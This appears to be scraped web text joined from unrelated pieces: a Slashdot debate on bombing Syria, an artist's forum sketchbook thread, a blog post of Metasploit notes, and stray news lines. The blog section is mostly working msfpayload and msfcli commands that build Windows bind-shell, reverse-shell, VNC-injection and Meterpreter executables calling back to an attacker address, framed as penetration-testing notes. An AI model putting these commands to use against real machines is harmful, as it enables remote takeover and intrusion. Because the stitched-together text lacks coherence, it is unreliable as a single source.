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Should the U.S. bomb Syria?
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Should the U.S. bomb Syria?
Absolutely not! (Score:5, Insightful)Bombing even selected targets will just make innocent people pay for the actions of a few. There are a few people who were involved in ordering the chemical attacks. If anything were done, those few would be taken to international court (the Hague is it?) and charged with war crimes. That should be the extent of it. Oh, and someone should investigate the claims that the rebels also used chemicals several months ago. There might be some folks that need to be charged with war crimes there too.
Followed world politics much?
Worked for Bin Lauden, Sadem Husein, etc. They won't show up any more than if you sued Barrack Obama because he fined you for not buying health insurance, or he caused your employer to cut your hours to under 30 hours/week.
Re:Absolutely not! (Score:5, Insightful)by Anonymous Coward on Monday September 09, 2013 @10:55AM (#44797473)
Exactly. If your solution to the problem of innocents being killed results in more innocents being killed, then your solution is invalid, and you become the aggressor rather than the hero. It doesn't matter whether you killed those innocents accidentally or deliberately, because the victim gets to decide the meaning of justice, not you. The bottom line is that the vicims of "collateral damage" (let's be real and call it manslaughter) don't give a damn what your agenda is. From that point on, you are the aggressor, not the hero.
I agree but how do you even do that? The US wont even sign up to the ICC let alone help enforce it.
Getting someone like Assad to the ICC is impossible, you only have to look at Africa where countries like Kenya have instead voted to pull out crying "Oh it's so unfair, the ICC only targets Africans!" which is perhaps one of the weakest excuses ever given that to date the ICC has prosecuted more white Europeans (you know, that whole Yugoslavia thing) than anything else. Perhaps if Africa has a problem with th
The ICC is currently at the "bell the cat" stage. The U.S., Israel and Russia have signed, but not ratified it, and China and India haven't even signed, and are openly contemptuous of it. So, for any war larger than a limited civil war, the five countries most likely to be in the thick of it are not, and never will be, members of the Court.
I just don't get it. We want to kill Syrians because they're killing Syrians who are killing Syrians. Insanity it is.
Re:Absolutely not! (Score:5, Insightful)by SuperTechnoNerd (964528) on Monday September 09, 2013 @02:56PM (#44800985)And either side would have not problem killing us.
$$$ That's what this is about. Sure, we'll kill a bunch of innocent people, help al-Qaeda, but hey, all the defense contractors will be flush with money, some of which will find its way back to the politicians that supported pressing the launch button.
Stop trying to play world police, warmongers.
As a citizen of the US, I agree with you. Sadly, most of our populace is happy eating Mcdonalds and watching Snooki, so they're too apathetic to voice any opinions to our congress critters. At this point, I fear the military industrial complex is turning the cogs.
I can certainly see your point. And yet, Syria now presents a major difference with, say, Iraq in 2002: the country is *already* at war. Entire cities nearly razed, thousands of victims, fighters and civilians alike, large-scale gas attacks, war crimes on both sides... Western strikes cannot make Syria cannot descend into chaos, because it's already there.
So, while I doubt that an attack would make things any better, I can hardly see how it could make them worse. Iraq was by no means a nice place to live un
So why would you impose your Western point of view onto a population that is at most apathetic towards your existence?
The "we care about their well-being and therefore we bomb their country" is old and wrinkled. The MOST I would agree with is total cessation of trading with said country. "We don't agree with your internal actions so we stop trading with you" is fine, it's your decision as a country. But dropping bombs onto their heads is despicable.
Internal matters are internal matters.
Finally, if some US states decide they want to revolt and civil war ensues and a party uses chemical weapons in a situation - what would you say about the UK, Russia, China starting to bomb USA ground because hey, "you used gas and we need to show you the light at the end of the tunnel by force".
Whenever someone thinks "we should bomb them for this reason!" - they should be ready to stand by the "they should bomb us for the same reason" approach. With this in mind... should the USA bomb Syria for this reason?
As a US citizen, if the US government used gas on its civilians, I would certainly want any other country that could to bomb them into the ground. Why would you want otherwise?
Finally, if some US states decide they want to revolt and civil war ensues and a party uses chemical weapons in a situation - what would you say about the UK, Russia, China starting to bomb USA ground because hey, "you used gas and we need to show you the light at the end of the tunnel by force".
I am an American. If my state seceded from the union and the union used gas against my state, I would certainly hope the rest of the world would intervene. My only problem with such intervention is that it does not stop there: The interventionists usually stay and set up the local power structures to favor themselves. In such a case, all hope is lost. Either I get gassed or give up sovereignty. Better to be dead than not free...
So if the intervention was just bombs and no soldiers on the ground, I would be
I think you're way off base here. I'd bet the majority of our populace is against "intervention." And, it looks like congress is as well. This all seems to be isolated to the executive branch -- the same ones who fucked up Benghazi.
Benghazi? Oh you mean that totally made up crisis created by the republicans in an effort to create a controversy for the administration.
If the republicans really cared that much they would have limited the US engagement to Afghanistan, not entered into an unneeded war in Iraq, and not perpetuate the idea that the US was having a war against Muslims which created the tensions that led up to Benghazi in the first place.
On the other hand if the republicans really care that much about Benghazi then why the f
Can we just bomb Snooki, please?
Damned if you do, damned if you don't (Score:5, Interesting)by Anonymous Coward on Monday September 09, 2013 @11:01AM (#44797539)
The situation is complicated: Syria shares a huge border with Turkey, our most important NATO ally in the region. Israel is not that far away. Oil runs through and under Syria, most of it not actually bound for the US. We also kind of set a precedent in Libya that if rebels cry enough, and more importantly bleed enough, they can call in international support for free*. (Terms and conditions may apply.) Chemical weapons have also been used, but by whom is an open question.
The civil war in Syria has been a clusterfuck from the start. What began as peaceful protesters getting shot by security forces burgeoned into a full-blown revolution, with the Syrian army so hopelessly incompetent it can't even keep the equally incompetent rebels out of Damascus but equally powerful enough to keep them from winning. It's been a war of attrition for over two years now and shows no signs of stopping. The war would have ended a year ago if the rebels hadn't been given weapons by the West -- rebels that have been acknowleged to have links to every terrorist group you'd care to mention (this is more and less of a problem than you'd think: the terrorists also happen to be the only civilians in the Middle East trained to fight). Meanwhile Russia is giving Syria weapons too, so the whole thing is devolving into one of those Cold War African brush wars that were just proxy battles for foreign powers. It's kind of funny Obama decides now is the time to have moral outrage over the issue when Syria is not a signatory of the Chemical Weapons Convention, which means they can do whatever they want with the stuff. They're not breaking the law with chemical weapons. Chemical weapons are indiscriminate: everyone agrees how terrible nerve gas is but no one acted to stop Syria before they acquired one of the world's largest stockpiles of the stuff.
On a humanitarian front, things have been equally terrible: refugees have been overwhelming nearby countries and that's really pissing them off. The suffering has been tremendous.
Everyone agrees that the civil war has to end and soon, but no one is willing to do something to decisively end the stalemate. The US is proposing to resolve the question with military action, but as Congress has remarked, what good is an airstrike going to do if your end goal is regime change? They know that this is going to turn into something even bigger than Iraq, and even worse: Syria has allies. No one has really given diplomacy a chance, and all sides seem interested in letting Syria bleed even more while they hem and haw at the prospect of getting involved. The Saudis are even offering money to get this over with before oil prices rise to the point everyone switches to green power.
Now that the US has proposed military action it can't back down without being completely humiliated on the world stage, and Congress is very much aware of the decline of American influence. I would not be surprised if the airstrikes are authorized, with the condition that no troops be sent to the area. Turkey is more than willing to take the fight to the Syrians, I say let them: give aid to the French, Turkish and Israeli forces and just let them have at it.
The cork will clearly be out of the bottle if Al Qaeda lay their hands on Sarin and distribute it to their network of Death-Cultists.
The Syrian government clearly has chemical weapons, but they are so far maintaining control over them (who actually made the attack still seems in question, which needs to be resolved factually, not emotionally).
The keystone is Assad and his supporters. Once he is no longer in charge it's all a crapshoot and we've seen how badly that can go in Iraq. Regardless if we have boo
The situation is really not that complicated:
1. The US is a NATO ally of Turkey, a close ally of Israel, and friendly with Jordan, as well as controlling the puppet government in Iraq. In other words, Syria is nearly surrounded.
2. Russia is a close ally of the Assad government.
3. Turkey and Israel really really want the US to remove Assad for them and replace him with a friendly regime.
4. Any overt action on the part of the US would force Russia into the fray on the other side, potentially kicking off WW II
Re:Damned if you do, damned if you don't (Score:5, Informative)
However, had NATO done so, then Russia would have been forced to call in the entirety of the Warsaw Pact nations to defend Syria, again kicking on WW III.
You're a bit out of date there. The Warsaw Pact has ceased to be about 22 years ago.
There is a key difference between Libya and Syria, beyond the geopolitical considerations of Syria being a big part of the Israel-Arab enmity. Libya ended up being a struggle between nearly all the people of the country and a bunch of foreign mercenaries, nobody really supported the previous government. Syria is just a standard civil war.
Re:Damned if you do, damned if you don't (Score:4, Interesting)by bzipitidoo (647217) <email@example.com> on Monday September 09, 2013 @02:28PM (#44800533) Journal
Syria needs help, not a beating. What you said is fine as far as it goes, but you don't talk about why civil war has erupted in Syria. If we don't understand or care about the causes, then whatever action we take, if any, is very unlikely to accomplish anything good.
Syria has had severe drought since 2006, possibly caused by Climate Change. They turned to irrigation from wells to wait out the dry spell, but that didn't buy them enough time. The water level dropped too low for more pumping. Crop failures are around 75% to 85%. Farmers had to do something. Many left their land and poured into the cities, where there were no jobs to be had. The Syrian government has done a terrible job of handling the crisis. Early in the drought, they sold a bunch of surplus wheat they had stored, wheat that they now desperately need to feed themselves. They treated farmers simply asking for help as subversive troublemakers, and have arrested many. That treatment is what touched off the violence.
For an outsider like the US to come in and start moralizing over chemical weapons, threatening to lob a few bombs, is no help at all. The Assad government should get the boot, but that's the least of Syria's problems. They're vicious and incompetent, but they didn't cause the mess though they certainly aggravated it immensely. Suppose the US could surgically strike so well that we completely destroy all the chemical weapons Syria has, without killing anyone, and we did that. The civil war would barely notice, and would rage on. Same if US strikes managed to kill Assad and break his government's hold on power. And same if we established a No Fly Zone. What the world should do is either take over, send lots of food to stabilize things, then get to work on more permanent solutions, or the world should mind its own business. Apart from the likely insurmountable problem of coming to a consensus on how to run Syria, the first course of action is very costly, so it's not happening. Trying to stop the violence with threats or even action is not going to work.
Regardless of what the world does in Syria, one problem we all should address is Climate Change.
FIne, but ..... (Score:4, Insightful)
As you even admit in your post, the drought in Syria was POSSIBLY caused by Climate Change. That's a theory, but there's no way to be sure. It could also just be one of the droughts that has plagued nations for centuries, at random times and places?
I'd agree with most of what you said, except your summary seems completely misplaced to me..... Turning the Syria crisis into just another reason the world needs to address Climate Change? Umm, no. For starters, Syria clearly mishandled the situation with their crops and farmers in a MASSIVE way. There's no excuse for creating a Civil War over the fact that there's a water shortage. Treating farmers coming to the cities for assistance as subversives and arresting them?? Yeah, THAT would really fly in most civilized parts of the world!
Climate Change or not, countries will have hardships and natural disasters
While Syria is not a signatory of the CWC, they are a signatory of the Geneva Protocol (Protocol for the Prohibition of the Use in War of Asphyxiating, Poisonous or other Gases, and of Bacteriological Methods of Warfare). So they're prohibited from using chemical and biological agents, but not prohibited from producing, storing or transferring. So yes, they are breaking international law by using such weapons.
They warned us (Score:5, Funny)
They warned us that if I voted for McCain or Romney, we'd see an increasingly warmongering, jingoistic administration out to bomb Islamic nations that have never attacked us... and they were right!
I don't remember Romney as coming across particularly hawkish apart from this line [huffingtonpost.com], which now just sounds rather prescient.
I was also surprised to find out that Obama was indeed once considered to be the "anti-war" candidate [nytimes.com], but the truth is that foreign policy really took a backseat to domestic issues in the last two elections.
It's great to have an external enemy if you have domestic problems, but this is over in the area of being ridiculous.
Especially since there's already problems knowing who's good and who's bad.
It's not worth it to take action there, the only thing that shall be done is watch them to avoid surprises. If you shall bomb - then drop food bombs instead. That could be really confusing even for Putin since he won't be able to know how to answer that.
To be fair if you'd voted for either of those two the bombs would've started falling on Syria about 2 years ago (Well, less if it was Romney ofc). The fact it's taking this long is a testament to the fact Obama is at very least slightly less hotheaded than those two.
Good campaign slogan (Score:4, Interesting)"Vote for Obama! Slightly less hotheaded than his opposition."
They warned us that if I voted for McCain or Romney, we'd see an increasingly warmongering, jingoistic administration out to bomb Islamic nations that have never attacked us... and they were right!
They warned my Dad if he voted for Goldwater, we'd go to war. And they were right back then, too.
Unfortunately, this war also seems to have bipartisan support. They always seem like better ideas beforehand. Fortunately, it also has bipartisan opposition. Somehow, I'm actually on the same side as my Teabagger US Rep. That's a first. And my fundie father-in-law. Another first.
Wait, I gotta take back the US Rep first thing, he was with me on the NSA vote, too. That's two truffles.
I'm somewhat concerned that th
Re:They warned us (Score:5, Interesting)by Just Some Guy (3352) <firstname.lastname@example.com> on Monday September 09, 2013 @06:23PM (#44803317) Homepage JournalThank God we have a Nobel Peace Prize winner in charge of such things.
Chemical Weapons Suck (Score:4, Insightful)
If you gas 400 children and many more other innocent adults, people should be lining up around the block to smack you in the mouth. Other nations should be ashamed of themselves for looking the other way.
Does it suck to get involved? Absolutely. Do we have a clear side we can support? Nope. Will it be messy? Absolutely.
I guess I feel an obligation and a duty to make sure no backwater leader feels weapons of mass destruction are an OK response to a regional conflict.
It's always somebody else's problem until it's not.
How is it that the method of killing merits a greater response than the quantity of those killed? North Korea, for instance, kills tens of thousands of innocents per year and imprisions hundreds of thousands (most of whom die a slow and painful death of starvation and disease). I guess Kim is safe so long as he doesn't gas a few hundred?
Re:Chemical Weapons Suck (Score:5, Interesting)by joe_frisch (1366229) on Monday September 09, 2013 @11:56AM (#44798261)
The problem with chemical weapons is that they are the start of a slippery slope. Sarin -> VX -> (bio or nuclear). Chemical vs conventional is an arbitrary line, but one that is pretty well accepted internationally.
IF the UN weapons inspectors decide that the Assad regime was responsible for the chemical weapons use, then I think a punitive strike is reasonable. The goal would not be to help the rebels (I don't want the US involved in a civil war), but to punish the regime for using illegal weapons. I say this with the understanding that a US strike would not make things better - that isn't the goal, the goal is to prevent them from becoming worse in the future.
IF the UN weapons inspectors do not conclude that the Assad regime was responsible, then I would not support a strike.
If there is no strong response to the use of chemical weapons, then I would expect to see them used again and more extensively.
Some people will object that past US actions show that we are no better. I won't argue with that, but form where we are now (absent time machine) we need to figure out what the best response is NOW. With Russia blocking any UN action, I don't see any other way to discourage future use of chemical weapons, and eventually worse.
BTW: I support military action against ANY country that uses WMDs, even those that are nominally our allies.
BTW: I do NOT support drone strikes, invasions, target killings etc by the US or allies. If I knew how to stop them I would.
IF the UN weapons inspectors decide that the Assad regime was responsible for the chemical weapons use
I seem to recall reading last week that the UN inspectors were there only to determine whether chemical weapons were used, and NOT to determine who used them.
So I don't think there's much chance of them deciding Assad did it, when they're already saying "not our job to determine who did it".
Re:Chemical Weapons Suck (Score:5, Insightful)
How is it that the method of killing merits a greater response than the quantity of those killed?
Your question is tantamount to "Why should war have rules?".
The rule against chemical weapons is simply a subset of "rules of war". These include rules for the treatment of POWs. Because of these standards, a lot of GIs came home from the European theater who otherwise wouldn't have. Likewise, it would have been a lot more convenient for the US to just neglect or gun down Axis POWs, or napalm the whole area during mop-up operations rather than accept surrenders. Etc, etc.
So. If war has rules, either you enforce them or war has no rules. Most reasonable powers, even some unreasonable powers like North Korea realize that a no-holds-barred street fight could lead to something like 20% survival rate with a bunch of unhealthy people trying to rebuild after victory vs. 90% survival after victory.
Aside from the cold rational incentive to follow rules of war, they are also deeply rooted in something like chivalry. At least, that's what the West calls it. The East and other areas have different names and different codes that historically allowed different things. For example, Japanese didn't view surrender as honorable during the WW2 era, and that caused a lot of problems. I'm not picking on Japan here. I'm simply pointing it out as an obvious difference between different cultures having different rules. I'm sure there are some rules the Japanese had for conduct in war that were kind and gentle in some way. One of the most universal rules of war used to be "don't kill women and children". Modern technology has made that impractical as an absolute; but the nature of chemical weapons is such that they can't be easily confined to the target zone.
Anyway, to answer your original question. It's because war has rules designed to limit its scope in various ways, and chemical weapons are outside those limits.
Re:Chemical Weapons Suck (Score:4, Insightful)
I saw some forum poster (probably at Fark) summarize it thusly:
The guys that made it out of WWI after the air bursting artillery, watching wave after wave of fellow humans get mowed down by machine guns, soggy trenches, bayoneting a few people, the screams of people dying on the wire in no-man's land, trench foot, disease, gangrene... the guys that made it through all that drew the line and said chemical weapons were too barbaric.
I'm not feeling like you really answered that question. You are correct the Wars can have rules or "Conventions", but they are not always held to the strict standard and they tend to be between warring nations, not a warring nation.
As I have learned here, Syria did not sign the CW Ban Treaty thus they are not obligated to be held to an international rule they did not sign. If they used CW against another country there is a more compelling argument for action, a declaration of War and the establishment (or
(the anti american
This is my view as well. We used to take a moral stance against bad guys. Lately all we care about is ourselves. The ultimate hypocrisy is the large numbers of right wingers and conservative who were all jumped up to go into Iraq because of his "WMDs", because of how he treated his people, because it "was the right thing to do", etc etc. Simply put, America does not, or didnt use to, abide bullies.
And now, they are com
Re:Chemical Weapons Suck (Score:4, Informative)
Who was it that used chemical weapons in Syria? Back (3 months ago) when UN weapons inspectors were allowed to determine things like that, their conclusion was that it was the rebels (there have been many chemical weapons attacks there).
There's plenty of circumstantial evidence that the Syrian government used chemical weapons as well, but the only proven cases were uses against the Syrian government.
Ok, so we're going to bomb someone who was the victim of a chemical weapons attack because we think he retaliated in kind? This after Syrian allies went to the UN to get help rounding up the people we know used chemical weapons... and we blocked it. If there's truth to this narrative (which is significantly more documented by the UN and Russia than our government's story), we're way in the wrong here.
Assad(or someone else, who knows) uses sarine in Syria, resulting in few thousand casualityes - mass murder, world is screaming for blood!
USA uses "agent orange" in Vietnam, quoteing wikipedia for results:
Agent Orange or Herbicide Orange (HO) is one of the herbicides and defoliants used by the U.S. military as part of its chemical warfare program, Operation Ranch Hand, during the Vietnam War from 1961 to 1971. Vietnam estimates 400,000 people were killed or maimed, and 500,000 children born with birth defects as a result of its use The Red Cross of Vietnam estimates that up to 1 million people are disabled or have health problems due to Agent Orange
And USA gets treated as last bastion of justice and freedom
Seems to me that chemical warfare is not the problem, but who is doing it.
Not just agent orange. US used too Napalm, white phosphorus, cluster bombs, drones and even killing for fun in civilian populations since WWII. They care so much about human rights that put children in guantanamo and tortured them. And the people behind all those almost genocidal operations have a bunch of medals, are still in command with big salaries (or have big returements) , schools/libraries/etc named after them and so on.
Over that, you have to question the motivations and the accuracy of the informa
Poll Problem (Score:5, Insightful)by Cro Magnon (467622) on Monday September 09, 2013 @12:02PM (#44798365) Homepage Journal
You realize that the "Where's Syria" option isn't exclusive with any of the others.
Generally my sympathies are with the rebels. But they have been proving themselves to not be terribly noble. The key factor to keep in mind is that this is no longer a civil war. This is a religious war. Religious wars tend to be nasty nasty nasty. Basically this would be like taking sides in a divorce between two alcoholic parents who are both (rightfully) accusing the other of being abusive to the kids.
My suggestion would focus support on the refugees and finding out if any zones of sanity had formed
The solution to your alcoholic parent problem is to put them in foster care.
Can we hand Syria to the French? heh
Probably not going to happen (Score:4, Insightful)Obama has already pretty much declared that we aren't going to bomb Syria. Not in words, but in actions. He handed over the issue to Congress, as Congress was demanding--thus insuring that the current intractable gridlock will prevent him from having to take an unpopular action. Don't forget that Congress already had a full agenda planned out with their manufactured crises (filibuster for the Continuing Resolution, and of course the Debt Ceiling), they don't have time to deal with a real crisis.
Re:Probably not going to happen (Score:4, Interesting)
"Gridlock" isn't the issue here, the public isn't behind this action. It's looking increasingly likely that this resolution will be defeated in the Senate(which is controlled the Presidents party).
The House leadership has already said they will not bring a vote until after the Senate has voted. If the Senate votes "no" the House won't even bring this resolution up for a vote(as it will already be dead at that point).
Far from being "Gridlock" this is looking like this will be VERY direct action from the Congress. It just won't be what the President says that he wants. I do agree with you, his actions really suggests that he doesn't want to do this at all... and it's baffling to me why he would spend the political capital to try to push this issue when he really doesn't want to bomb them.
The alternative is basically telling Assad: Oh sure, we don't really care, go ahead and gas your civilians all you like. Basically a repeat of the Iraq attack in 1988 that Bush Sr. and the rest of the world did nothing about.
Not that I support the Syrian gov, but its really not clear that it wasn't actually the rebels that deployed Sarin, rather the Syrian government.
Sarin is very easy to make in a basement compared to other nerve agents, but is at least 10x less effective and has a much shorter life compared to stuff most militarys would ultimately have access to.
If the government/military really wanted to release nerve gas, they would probably be much more likely to use something like Vx rather than Sarin (unless they were tr
Although the use of Sarin against civilians in Syria is evil incarnate, one needs to look at where this might go. There are many possibilities, but the one that may be most frighting goes something like this.
The US unilaterally attacks Syria with conventional bombs and missiles. Syria attacks Israel with conventional weapons, which has been mentioned as a possibility. Israel retaliates with conventional weapons, but with much greater force. Syria again attacks Israel with more force and this escalatio
this is all just an excuse to trigger a fight with Iran, which is what the US gov have been trying to find for ages.
Normally I'm all in favor of supporting revolutions against unjust regimes, and Assad's regime is clearly evil enough to be worth deposing. Libya? Egypt? We should have done more to help.
The problem with Syria is that the rebels seem equally evil. It seems to be more about sectarianism than equality, and the fact that one side is supported by Russia and the other by several terrorist groups certainly doesn't help.
Had we come in earlier, supporting the rebels while the movement could still be turned towards
Fucking Obama (Score:5, Interesting)
I voted for this jack ass so that this sort of shit (my country bombing other countries) would stop.
Silly me.
100,000 people killed (Score:4, Insightful)by night_flyer (453866) on Tuesday September 10, 2013 @08:16AM (#44806589) Homepage
and we do nothing... chems are used (we still don't know who)
why would Assad, while winning the war risk getting the international community involved by using chems?


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Sophomore Melissa Ward (Delaware/Home) posted Ohio Wesleyan's best individual finish at the House of Champions meet, hosted by Indiana University-Purdue University at Indianapolis on Friday and Saturday in Indianapolis.
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National Trust ranger John Pring got the idea to get the tree measured and recorded by the National Tree Register charity when driving through Ambleside.
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Thread: Wheeljack's Sketchbook
November 12th, 2012 #331
Wheeljack, stop being busy and come back to us! :p
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November 14th, 2012 #332
Hey Mr Frenik,
Thanks for not forgetting about me.
Yes I have been busy with work and life and CA was offline for so long, I moved on for a while but the boys at the Daedelus workshop dragged me back so here I am with a big ol Sketch dump. It's been since August so let's see what goodies I have to offer up. First, some work stuff.
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November 14th, 2012 #333
Next we have some sketchbook and studies...
November 16th, 2012 #334
And another WKRP Study. This time in Color.
November 21st, 2012 #335
Another study. I may take it further, well see how it goes. My main goal was to focus on draftsmanship and accuracy in this image.
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December 3rd, 2012 #336
Another page of Sketches
December 8th, 2012 #337
Oh my gawd where do I start!!?? So much good stuff matey I like nearly all of it but the stand out bit for me is the guy with the pig, I loved that and it made me laugh at how proud he looked with it, classic mate.
Nice to have you round the place again, its been to long, all the best and I'm glad youre back.
A great kind hearted lumbering bullock
http://conceptart.org/forums/showthread.php?t=209918 = my Sketchbook
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December 17th, 2012 #338
Hey Lightship!
Thanks for still coming around! I still check in at the Daedelus thread every day but I find that i'm too busy with work to hang out on the forum like I used to. I still plan on updating the SB and it's great to know that people still dont' mind looking at my crap! lol.
The Pig guy is actually based off of my stepfather and he is both proud and offended that I chose him to model this character.!
December 23rd, 2012 #339
more page o Studies
Not much to share today I'm afraid. But in the interest of keeping this thread somewhat alive, here is another installment of warm ups etc. Too busy doing client work that I can't share yet so this is all i got
Merry Christmas everyone.
December 23rd, 2012 #340
Interesting sketchbook,
I spent short time to review your pages, from begging till now and happy about your progress.
Let us see more and more of your works
Not every one can become a great artist,
A great artist can come from every where.
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December 31st, 2012 #341
Hey tiny1890, thanks for stopping by and leaving some comments.
All I got for today is a quick sketch of She Ra and another WIP of a Pinup. More to follow.
Cheers and Happy New Years all!
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January 3rd, 2013 #342
Nice work Wheeljack, enjoyed the graphic style with basic coloring style.
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January 14th, 2013 #343
Good to have you back sir! Would love some crits from you if you ever get the chance and stop being so damn busy.
January 14th, 2013 #344
Oh man there is some really good stuff here - you obviously have done your work - great anatomies - solid studies - Really awesome portraits too by the way. I think you hit every great movie and then some Looking forward to more!
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January 20th, 2013 #345
Whoa! Three new posts on my Sb thread. I haven't seen this much action here in a long time. I am flattered! lol. Seriously though, thanks for stopping by an offering your two cents. I have been really busy with client work and personal stuff so that is why I am away from CA so much. All I've got to share is another page of warm ups from my SB. All done in Photoshop.
Cout: Thanks man. I figured you would go for graphic I can't say that I'm doing anything more than screwing around but I would like to incorporate more graphic/design elements into my work in the future.
Mr Frenik: Glad to be here. You know what I like about you, you are not afraid to ask for a crit. Stand by for one coming up.
Meticulous: Hey, thanks for stopping in! I think there are a few movies that have not made it to my SB but I still have time. lol. Keep coming by and I'll keep posting.
Cheers all!
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January 24th, 2013 #346
Wow wow wow sir! Absolutely jaw-dropping work! Where does one begin indeed...I suppose I should mention what a beautiful appreciation and sensitivity you have for the female figure. The completed/coloured stuff is really great, but I'll admit an absolute fondness for the greyscale/b&w stuff...there's just something about the line work and implied shadow work which just sings in those, for me.
Keep it up!!!
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January 27th, 2013 #347
Hey Jurei!
Thanks for such a glowing review. I`m blushing! I`ll get back to your PM now.
April 4th, 2013 #348
Wow, It has been a while since I last visited and updated this thread and things are looking different around here which is for the better I think. Anyways, I have been busy with work and family so here goes with a Massive Sketchdump for your viewing pleasure.
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April 4th, 2013 #349
Good to see you posting again, Wheeljack, and great stuff as always; I continually enjoy your draftsmanship and commitment to quality and style. Hope all's well and keep updating for us!
April 4th, 2013 #350
Hey Mr F!
thanks for stopping by. I'll keep updating if you keep tuning in. It seems like you are the only one though
April 4th, 2013 #351
Great line work! Loving the ink style of stuff in your last posts. Keep posting!
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April 5th, 2013 #352
Thanks Chevy! I've got a Ton more Ink work in the kitty but I can't post it up until the products go to print. There is at least double the Glorantha work and some Cluthulu / Occult stuff etc. Stay tuned for that and more.
April 6th, 2013 #353
I really like those ink works too. The detail in them is fantastic.
Check out my sketchbook! Socially acceptable opportunity to yell at a teenage girl!
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April 25th, 2013 #354
Firefly / Serenity
Hey Gang,
Here is some illustrations I did based on the Tv Series Firefly.
November 12th, 2013 #355
November Image Dump!
Hey all, It has been a while since I posted here but I figured what the hey. I read the tag line in the header bar that said" The importance of updating your information" and took it as a sign
Anyways here goes....
May 12th, 2014 #356
Big Update
Here we go with a pile of Finished works that I have not shared here yet.
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This entry is really just a place for me to keep notes on working msfpayload details. I will expand on this post as i get more working examples.
These payloads will be detected by AV, I will cover methods of avoiding AV detection in another post.
In my examples 192.168.1.110 is the victim, and 192.168.1.112 is the attacker. Where I have not specified the port it will default to 4444.
1. For a listening shell on the target
Create payload:
./msfpayload windows/shell_bind_tcp LPORT=2482 X > /tmp/Listen-shell.exe
run Listen-shell.exe
nc 192.168.1.110 2482
2. For a reverse shell on the target
Create payload:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.112 X > /tmp/reverse-shell.exe
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.112 E
run reverse-shell.exe
3. For a VNC listener on target
Create payload:
./msfpayload windows/vncinject/bind_tcp LPORT=2482 X > Listen-vnc.exe
run Listen-vnc.exe
./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=2482 RHOST=192.168.1.110 DisableCourtesyShell=TRUE E
4. For a reverse VNC session
Create payload:
./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 X > /tmp/reverse-vnc.exe
./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 DisableCourtesyShell=TRUE E
run reverse-vnc.exe
5. For a meterpreter listener
create payload:
./msfpayload windows/meterpreter/bind_tcp LPORT=2482 X > met-listen.exe
run met-listen.exe
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.1.110 LPORT=2482 E
6. For a reverse meterpreter connection (not working yet. not sure why)
Create payload:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 X > /tmp/met-reverse.exe
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.112 E
run met-reverse.exe
UPDATE: Payload should for 6 should read:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 LPORT=4444 X > /tmp/met-reverse.exe
This post was inspired by pauldotcom.
Friday, October 17, 2008
Metasploit Payloads - msfpayload
This entry is really just a place for me to keep notes on working msfpayload details. I will expand on this post as i get more working examples.
12 comments:
- CG said...
you need to specify a port for #6
- October 23, 2008 at 7:52 PM
- SynJunkie said...
cheers Chris. I'll give that a go.
- October 28, 2008 at 12:13 AM
- overclucker said...
well, i bet he wanted port 4444. elsee he would have done differently. Thank you synjunkie! your work shows important msf functionality not covered in the documentation. Perhaps you would consider making contributions to the msf documentation. Often times, I come accross this belief that, if you cannot figure it out for yourself, you don't deserve to figure it out at all. I say: man ain't all there. . . that is the manual doesn't always enlighten thee full functionality of a of a program or tool set. Forgive my Bourbon influenced ramblings . . .
- June 16, 2009 at 3:30 AM
- SynJunkie said...
Hy thanks for the comment Overclucker.
I keep meaning to update this MSF post but I didn't think it was useful to anyone but me.
Have you checked out Chris Gates site (Carnal0wnage). He has loads of MSF stuff that makes mine look pityfull.
Keep drunk posting man!!!
- June 16, 2009 at 5:23 PM
I'm a dude in Sweden, experimenting with BT3 on my EEE. Thx for posting this stuff, it helped me with pentesting a Win2000 laptop. Couldn't find any premade windows binary (.exe) file in BT3 that I could upload with meterpreter to start a VNC-server. Used your way and it worked like a charm. Nice blog too =)
- July 29, 2009 at 4:57 PM
- SynJunkie said...
No probs, really glad you found this stuff useful.
- July 30, 2009 at 9:51 PM
- Reeth said...
Hey very useful, thank you for this!
greetings reeth
- December 27, 2009 at 1:52 PM
- SynJunkie said...
Hey thanks, and a nice looking blog you have there.
- December 28, 2009 at 12:21 AM
6. For a reverse meterpreter connection (not working yet. not sure why)
your command line is missing the LPORT variable
Create payload should be:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 LPORT=4444 X > /tmp/met-reverse.exe
- March 24, 2010 at 5:43 PM
- SynJunkie said...
I got that from Chris's comment but cheers. i'll update the post.
- March 24, 2010 at 10:06 PM
Hi m8
These are more than useful notes on MSF
Thanks for the sharing, they made me understand important issues regarding the function of MSF
Keep it spinning
- November 12, 2010 at 2:33 PM
- emaniacs said...
thanks, i need your post..
- May 16, 2011 at 1:45 PM


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The men did not previously know each other.
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Sheriff Alan Norman said Smith was on medical leave at the time and had been out of work for the past six or seven weeks.
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